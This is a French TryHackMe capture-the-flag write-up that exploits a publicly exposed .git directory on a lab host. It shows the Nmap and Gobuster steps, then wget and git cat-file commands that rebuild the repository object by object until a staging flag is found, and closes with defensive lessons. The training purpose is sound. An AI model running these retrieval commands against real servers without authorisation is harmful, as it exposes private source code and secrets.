July 30, 2026
WriteUp Room 404 on TryHackMe (Hacker Holidays, Day 2)
Un .git exposé, et tout un dépôt qui se retrouve sur la place publique.

By Shalom Divine GAVO
3 min read
Contexte
La Room "Room 404" est le Day 2 de l'événement Hacker Holidays 2026 de TryHackMe, une série de 14 rooms sur le thème du Byte Lotus, un hôtel cinq étoiles avec une posture de sécurité, disons, zéro étoile.
Le briefing du jour est simple : la plateforme guest experience du Byte Lotus a été déployée dans la précipitation, et le développeur a visiblement livré plus que le simple site web en production.
Objectif : récupérer le code source caché et trouver le flag laissé derrière par le développeur.
Reconnaissance
On commence classiquement par un scan Nmap sur l'IP cible :
bash
nmap 10.129.172.62
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxynmap 10.129.172.62
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxyLe port 22 (SSH) n'est pas notre cible ici; c'est le port 8080 qui héberge l'application web à explorer.
Énumération de répertoires
On lance une énumération de répertoires sur le service web avec Gobuster :
Résultat :
/.git/HEAD (Status: 200) [Size: 21]/.git/HEAD (Status: 200) [Size: 21]Et voilà le point d'entrée : le répertoire .git est accessible publiquement. C'est une erreur de configuration très classique en environnement web — le serveur sert le dossier .git comme n'importe quel autre fichier statique, ce qui expose tout l'historique du dépôt : commits, fichiers supprimés, secrets éventuels, etc.
Récupération du dépôt
Normalement, l'outil git-dumper automatise entièrement cette étape. Ici, pas de connexion sortante disponible sur la machine d'attaque, donc reconstruction manuelle du dépôt objet par objet — un bon exercice pour comprendre le fonctionnement interne de Git.
- Récupérer
HEADetconfig
mkdir dump && cd dump
wget http://10.129.172.62:8080/.git/HEAD
wget http://10.129.172.62:8080/.git/config
cat HEADmkdir dump && cd dump
wget http://10.129.172.62:8080/.git/HEAD
wget http://10.129.172.62:8080/.git/config
cat HEAD
ref: refs/heads/mainref: refs/heads/mainLa branche active est main.
2. Récupérer la référence de la branche
bash
mkdir -p refs/heads
wget -P refs/heads http://10.129.172.62:8080/.git/refs/heads/main
cat refs/heads/mainmkdir -p refs/heads
wget -P refs/heads http://10.129.172.62:8080/.git/refs/heads/main
cat refs/heads/main
0f13550b4cb13e9f30c61d5b342c532d21e45bda0f13550b4cb13e9f30c61d5b342c532d21e45bdaC'est le hash du dernier commit.
3. Récupérer et lire l'objet commit
Un objet Git est stocké sous objects/XX/YYYY..., où XX correspond aux deux premiers caractères du hash et le reste aux 38 caractères suivants.
bash
HASH=0f13550b4cb13e9f30c61d5b342c532d21e45bda
mkdir -p objects/${HASH:0:2}
wget -P objects/${HASH:0:2} http://10.129.172.62:8080/.git/objects/${HASH:0:2}/${HASH:2}HASH=0f13550b4cb13e9f30c61d5b342c532d21e45bda
mkdir -p objects/${HASH:0:2}
wget -P objects/${HASH:0:2} http://10.129.172.62:8080/.git/objects/${HASH:0:2}/${HASH:2}Pour lire le contenu de l'objet avec les commandes Git, on initialise un dépôt local vide et on y copie les fichiers récupérés :
bash
cd ..
git init dump-repo
cp -r dump/objects dump-repo/.git/
cp -r dump/refs dump-repo/.git/
cp dump/HEAD dump-repo/.git/
cd dump-repo
git cat-file -p 0f13550b4cb13e9f30c61d5b342c532d21e45bda
tree fa45dbd69394ea9e13683d9efb6a0220daac59d4
author night-shift <dev@byte-lotus.internal> 1762049640 +0000
committer night-shift <dev@byte-lotus.internal> 1762049640 +0000
initial Byte Lotus guest platformcd ..
git init dump-repo
cp -r dump/objects dump-repo/.git/
cp -r dump/refs dump-repo/.git/
cp dump/HEAD dump-repo/.git/
cd dump-repo
git cat-file -p 0f13550b4cb13e9f30c61d5b342c532d21e45bda
tree fa45dbd69394ea9e13683d9efb6a0220daac59d4
author night-shift <dev@byte-lotus.internal> 1762049640 +0000
committer night-shift <dev@byte-lotus.internal> 1762049640 +0000
initial Byte Lotus guest platformUn commit unique, signé par un certain night-shift; on note le hash du tree associé pour continuer.
4. Explorer le tree
bash
HASH=fa45dbd69394ea9e13683d9efb6a0220daac59d4
mkdir -p dump/objects/${HASH:0:2}
wget -P dump/objects/${HASH:0:2} http://10.129.172.62:8080/.git/objects/${HASH:0:2}/${HASH:2}
cp -r dump/objects dump-repo/.git/
cd dump-repo
git cat-file -p fa45dbd69394ea9e13683d9efb6a0220daac59d4
100644 blob a5965c580fee91d852e5b19a8290da02d2926523 README.md
100644 blob 2575ab073f67615a27135663ed36794c2d2584fb app.js
100644 blob 0a12caa4e52a965e89e5eccf5760924b21aacbf7 index.htmlHASH=fa45dbd69394ea9e13683d9efb6a0220daac59d4
mkdir -p dump/objects/${HASH:0:2}
wget -P dump/objects/${HASH:0:2} http://10.129.172.62:8080/.git/objects/${HASH:0:2}/${HASH:2}
cp -r dump/objects dump-repo/.git/
cd dump-repo
git cat-file -p fa45dbd69394ea9e13683d9efb6a0220daac59d4
100644 blob a5965c580fee91d852e5b19a8290da02d2926523 README.md
100644 blob 2575ab073f67615a27135663ed36794c2d2584fb app.js
100644 blob 0a12caa4e52a965e89e5eccf5760924b21aacbf7 index.htmlTrois fichiers dans le dépôt : README.md, app.js et index.html.
5. Récupérer les blobs
bash
for HASH in a5965c580fee91d852e5b19a8290da02d2926523 \
2575ab073f67615a27135663ed36794c2d2584fb \
0a12caa4e52a965e89e5eccf5760924b21aacbf7; do
mkdir -p dump/objects/${HASH:0:2}
wget -P dump/objects/${HASH:0:2} http://10.129.172.62:8080/.git/objects/${HASH:0:2}/${HASH:2}
done
cp -r dump/objects dump-repo/.gitfor HASH in a5965c580fee91d852e5b19a8290da02d2926523 \
2575ab073f67615a27135663ed36794c2d2584fb \
0a12caa4e52a965e89e5eccf5760924b21aacbf7; do
mkdir -p dump/objects/${HASH:0:2}
wget -P dump/objects/${HASH:0:2} http://10.129.172.62:8080/.git/objects/${HASH:0:2}/${HASH:2}
done
cp -r dump/objects dump-repo/.gitEt on lit chaque fichier :
bash
git cat-file -p a5965c580fee91d852e5b19a8290da02d2926523 # README.mdgit cat-file -p a5965c580fee91d852e5b19a8290da02d2926523 # README.mdLe flag
Le contenu de README.md révèle le pot aux roses :
# Byte Lotus — Guest Experience Platform
Internal staging repository for the guest app and concierge personalization
service. Do not deploy this folder to production.
Staging flag (remove before launch): THM{************************}# Byte Lotus — Guest Experience Platform
Internal staging repository for the guest app and concierge personalization
service. Do not deploy this folder to production.
Staging flag (remove before launch): THM{************************}
Un flag laissé par erreur dans un fichier de staging, avec l'instruction "remove before launch" , jamais suivie. app.js et index.html ne contenaient de leur côté que du code front-end standard, sans surprise supplémentaire.
Ce qu'il faut retenir
- Un
.gitexposé équivaut à une fuite complète du dépôt, pas seulement des fichiers actuellement en ligne. Même sansgit-dumper, il est possible de reconstruire un dépôt à la main en suivant la chaîneHEAD→refs/heads/<branche>→ commit → tree → blobs. - Git conserve tout l'historique tant qu'il n'a pas été réécrit : un fichier supprimé du site reste récupérable dans les objets Git tant que le dossier
.gitest accessible. - Ne jamais déployer de dossier
.giten production, et ne jamais laisser de secrets même "temporaires" dans un README ou un fichier de staging.
#TryHackMe #Web-security #Ctf-writeup #Cybersecurity #Git